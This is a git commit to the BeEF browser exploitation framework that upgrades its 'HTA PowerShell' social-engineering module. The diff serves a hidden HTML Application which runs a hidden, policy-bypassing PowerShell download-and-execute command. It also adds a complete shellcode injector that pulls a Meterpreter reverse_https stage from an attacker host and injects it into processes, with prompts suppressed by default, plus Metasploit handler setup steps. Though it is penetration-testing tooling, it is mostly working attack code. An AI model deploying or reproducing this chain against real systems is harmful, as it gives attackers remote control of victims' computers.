Improved HTA_powershell module. Now using @mattifestation payload and supporting x86 and x86_64 targets.

This commit is contained in:
antisnatchor
2014-07-01 11:58:32 +02:00
parent 6b93b09c2f
commit b16d35232a
4 changed files with 532 additions and 17 deletions

View File

@@ -6,7 +6,7 @@
beef.execute(function() {
var hta_url = '<%= @domain %>' + '<%= @mount_point %>';
var hta_url = '<%= @domain %>' + '<%= @hta_mount_point %>';
if(beef.browser.isIE()){
// application='yes' is IE-only and needed to load the HTA into an IFrame.

View File

@@ -9,7 +9,7 @@ beef:
enable: true
category: ["Social Engineering"]
name: "HTA PowerShell"
description: "Tricks the user into opening and allowing the execution of an HTML Application (HTA), appended to the DOM into an hidden IFrame.<br> If the user allows execution, powershell is used to download the payload from a Metasploit handler and execute it.<br>Before launching the module, do the following on Metasploit:<br>use exploit/windows/misc/psh_web_delivery<br>set URIPATH /psh<br>set PAYLOAD windows/meterpreter/reverse_https<br>set LHOST x.x.x.x<br>set LPORT 443<br>set ExitOnSession false<br>set AutoRunScript post/windows/manage/smart_migrate<br>exploit -j -z"
description: "Tricks the user into opening and allowing the execution of an HTML Application (HTA), appended to the DOM into an hidden IFrame.<br> If the user allows execution, powershell is used to download the payload (by @mattifestation) from BeEF.<br><br> The default payload is windows/meterpreter/reverse_https, and the attack works on both x86 and x86_64 targets.<br><br>Before launching the module, do the following on Metasploit:<br>use exploit/multi/handler<br>set PAYLOAD windows/meterpreter/reverse_https<br>set LHOST x.x.x.x<br>set LPORT 443<br>set ExitOnSession false<br>set AutoRunScript post/windows/manage/smart_migrate<br>exploit -j -z"
authors: ["antisnatchor"]
target:
user_notify: ["IE"]

View File

@@ -7,48 +7,77 @@ class Hta_powershell < BeEF::Core::Command
class Bind_hta < BeEF::Core::Router::Router
before do
headers 'Content-Type' => 'application/hta',
'Pragma' => 'no-cache',
headers 'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0'
end
get '/' do
response['Content-Type'] = "application/hta"
payload_handler = settings.payload_handler
print_info "Serving HTA. Payload handler: #{payload_handler}"
hta_handler = settings.domain + settings.hta_mount_point
payload_handler = settings.domain + settings.hta_mount_point + settings.ps_mount_point
print_info "Serving HTA from [#{hta_handler}] and PowerShell payload from [#{payload_handler}]"
"<script>
var c = \"cmd.exe /c powershell.exe -w hidden -nop -ep bypass -c \\\"\\\"IEX ((new-object net.webclient).downloadstring('#{payload_handler}'))\\\"\\\"\";
var c = \"cmd.exe /c powershell.exe -w hidden -nop -ep bypass -c \\\"\\\"IEX ((new-object net.webclient).downloadstring('#{payload_handler}')); Invoke-ps\\\"\\\"\";
new ActiveXObject('WScript.Shell').Run(c);
</script>"
end
get '/ps' do
response['Content-Type'] = "text/plain"
ps_lhost = settings.ps_lhost.to_s
ps_port = settings.ps_port.to_s
ps_payload_path = "#{$root_dir}/modules/social_engineering/hta_powershell/powershell_payload"
ps_payload = ''
if File.exist?(ps_payload_path)
ps_payload = File.read(ps_payload_path).gsub("___LHOST___", ps_lhost).gsub("___LPORT___", ps_port)
end
ps_payload
end
end
def pre_send
# gets the value configured in the module configuration by the user
@datastore.each do |input|
if input['name'] == "payload_handler"
@payload_handler = input['value']
if input['name'] == "domain"
@domain = input['value']
end
if input['name'] == "mount_point"
@mount_point = input['value']
if input['name'] == "hta_mount_point"
@hta_mount_point = input['value']
end
if input['name'] == "ps_mount_point"
@ps_mount_point = input['value']
end
if input['name'] == "ps_lhost"
@ps_lhost = input['value']
end
if input['name'] == "ps_port"
@ps_port = input['value']
end
end
# mount the extension in the BeEF web server, calling a specific nested class (needed because we need a specifi content-type/disposition)
bind_hta = Hta_powershell::Bind_hta
bind_hta.set :payload_handler, @payload_handler
BeEF::Core::Server.instance.mount(@mount_point, bind_hta.new)
bind_hta.set :domain, @domain
bind_hta.set :ps_mount_point, @ps_mount_point
bind_hta.set :hta_mount_point, @hta_mount_point
bind_hta.set :ps_lhost, @ps_lhost
bind_hta.set :ps_port, @ps_port
BeEF::Core::Server.instance.mount(@hta_mount_point, bind_hta.new)
BeEF::Core::Server.instance.remap
end
def self.options
return [
{'name' => 'payload_handler', 'ui_label'=>'Payload Handler', 'value' =>'http://10.10.10.10:8080/psh'},
{'name' => 'mount_point', 'ui_label'=>'Mount point', 'value' =>'/hta'},
{'name' => 'domain', 'ui_label' => 'Serving Domain', 'value' => 'http://beef_domain.com'}
]
{'name' => 'domain', 'ui_label' => 'Serving Domain (for both HTA and PS payload)', 'value' => 'http://beef_domain.com'},
{'name' => 'hta_mount_point', 'ui_label' => 'HTA Mount point', 'value' => '/hta'},
{'name' => 'ps_mount_point', 'ui_label' => 'PowerShell Payload Mount point', 'value' => '/ps'},
{'name' => 'ps_lhost', 'ui_label' => 'MSF Reverse HTTPS LHOST', 'value' => '10.10.10.10'},
{'name' => 'ps_port', 'ui_label' => 'MSF Reverse HTTPS LPORT', 'value' => '443'}
]
end
def post_execute

View File

@@ -0,0 +1,486 @@
function Invoke-ps
{
[CmdletBinding( DefaultParameterSetName = 'Metasploit', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
[ValidateNotNullOrEmpty()]
[UInt16]
$ProcessID,
[Parameter( ParameterSetName = 'Metasploit' )]
$Payload = 'windows/meterpreter/reverse_https',
[String]
$Lhost = '___LHOST___',
$UserAgent = 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
[Int]
$Lport = ___LPORT___,
[Switch]
$Force = $True
)
Set-StrictMode -Version 2.0
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
function Local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
# Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
{
$IntSizePtr = $Architecture / 8
function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
{
$LittleEndianByteArray = New-Object Byte[](0)
$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
[System.Array]::Reverse($LittleEndianByteArray)
Write-Output $LittleEndianByteArray
}
$CallStub = New-Object Byte[](0)
if ($IntSizePtr -eq 8)
{
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL RAX
$CallStub += 0x6A,0x00 # PUSH BYTE 0
$CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL RAX
}
else
{
[Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL EAX
$CallStub += 0x6A,0x00 # PUSH BYTE 0
$CallStub += 0xB8 # MOV DWORD EAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL EAX
}
Write-Output $CallStub
}
function Local:Inject-RemoteShellcode ([Int] $ProcessID)
{
# Open a handle to the process you want to inject into
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
if (!$hProcess)
{
Throw "Unable to open a process handle for PID: $ProcessID"
}
$IsWow64 = $false
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
{
# Determine is the process specified is 32 or 64 bit
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
if ((!$IsWow64) -and $PowerShell32bit)
{
Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'
}
elseif ($IsWow64) # 32-bit Wow64 process
{
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
Write-Verbose 'Injecting into a Wow64 process.'
Write-Verbose 'Using 32-bit shellcode.'
}
else # 64-bit process
{
if ($Shellcode64.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
}
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
}
else # 32-bit CPU
{
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
}
# Reserve and commit enough memory in remote process to hold the shellcode
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteMemAddr)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode into the previously allocated memory
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($IsWow64)
{
# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate inline assembly stub
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteStubAddr)
{
Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
}
Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
# Write 32-bit assembly stub to remote process memory space
$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
# Execute shellcode as a remote thread
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch remote thread in PID: $ProcessID"
}
# Close process handle
$CloseHandle.Invoke($hProcess) | Out-Null
Write-Verbose 'Shellcode injection complete!'
}
function Local:Inject-LocalShellcode
{
if ($PowerShell32bit) {
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
return
}
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
}
else
{
if ($Shellcode64.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
return
}
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
# Allocate RWX memory for the shellcode
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$BaseAddress)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($PowerShell32bit)
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate RWX memory for the thread call stub
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$CallStubAddress)
{
Throw "Unable to allocate thread call stub."
}
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy call stub to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
# Launch shellcode in it's own thread
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch thread."
}
# Wait for shellcode thread to terminate
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
Write-Verbose 'Shellcode injection complete!'
}
# A valid pointer to IsWow64Process will be returned if CPU is 64-bit
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
if ($IsWow64ProcessAddr)
{
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
$64bitCPU = $true
}
else
{
$64bitCPU = $false
}
if ([IntPtr]::Size -eq 4)
{
$PowerShell32bit = $true
}
else
{
$PowerShell32bit = $false
}
if ($PsCmdlet.ParameterSetName -eq 'Metasploit')
{
if (!$PowerShell32bit) {
# The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell
# Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function
# Pull out just the content of the this script's invocation.
$RootInvocation = $MyInvocation.Line
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?",
"Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { }
if ( !$Response )
{
# User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function
Return
}
# Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt.
if ($MyInvocation.BoundParameters['Force'])
{
Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation"
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n"
}
else
{
Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force"
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n"
}
$CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)
$EncodedCommand = [Convert]::ToBase64String($CommandBytes)
$Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -"
Invoke-Expression -Command $Execute | Out-Null
# Exit the script since the shellcode will be running from x86 PowerShell
Return
}
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?",
"About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }
if ( !$Response )
{
# User opted not to carry out download of Metasploit payload. Exit function
Return
}
switch ($Payload)
{
'windows/meterpreter/reverse_http'
{
$SSL = ''
}
'windows/meterpreter/reverse_https'
{
$SSL = 's'
# Accept invalid certificates
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
}
}
# Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh?
$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
Write-Verbose "Requesting meterpreter payload from $Request"
$Uri = New-Object Uri($Request)
$WebClient = New-Object System.Net.WebClient
$WebClient.Headers.Add('user-agent', "$UserAgent")
try
{
[Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
}
catch
{
Throw "$($Error[0].Exception.InnerException.InnerException.Message)"
}
[Byte[]] $Shellcode64 = $Shellcode32
}
elseif ($PSBoundParameters['Shellcode'])
{
# Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
# the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
[Byte[]] $Shellcode32 = $Shellcode
[Byte[]] $Shellcode64 = $Shellcode32
}
if ( $PSBoundParameters['ProcessID'] )
{
# Inject shellcode into the specified process ID
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
Write-Verbose "Injecting shellcode into PID: $ProcessId"
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
{
Inject-RemoteShellcode $ProcessId
}
}
else
{
# Inject shellcode into the currently running PowerShell process
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
Write-Verbose "Injecting shellcode into PowerShell"
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode into the running PowerShell process!" ) )
{
Inject-LocalShellcode
}
}
}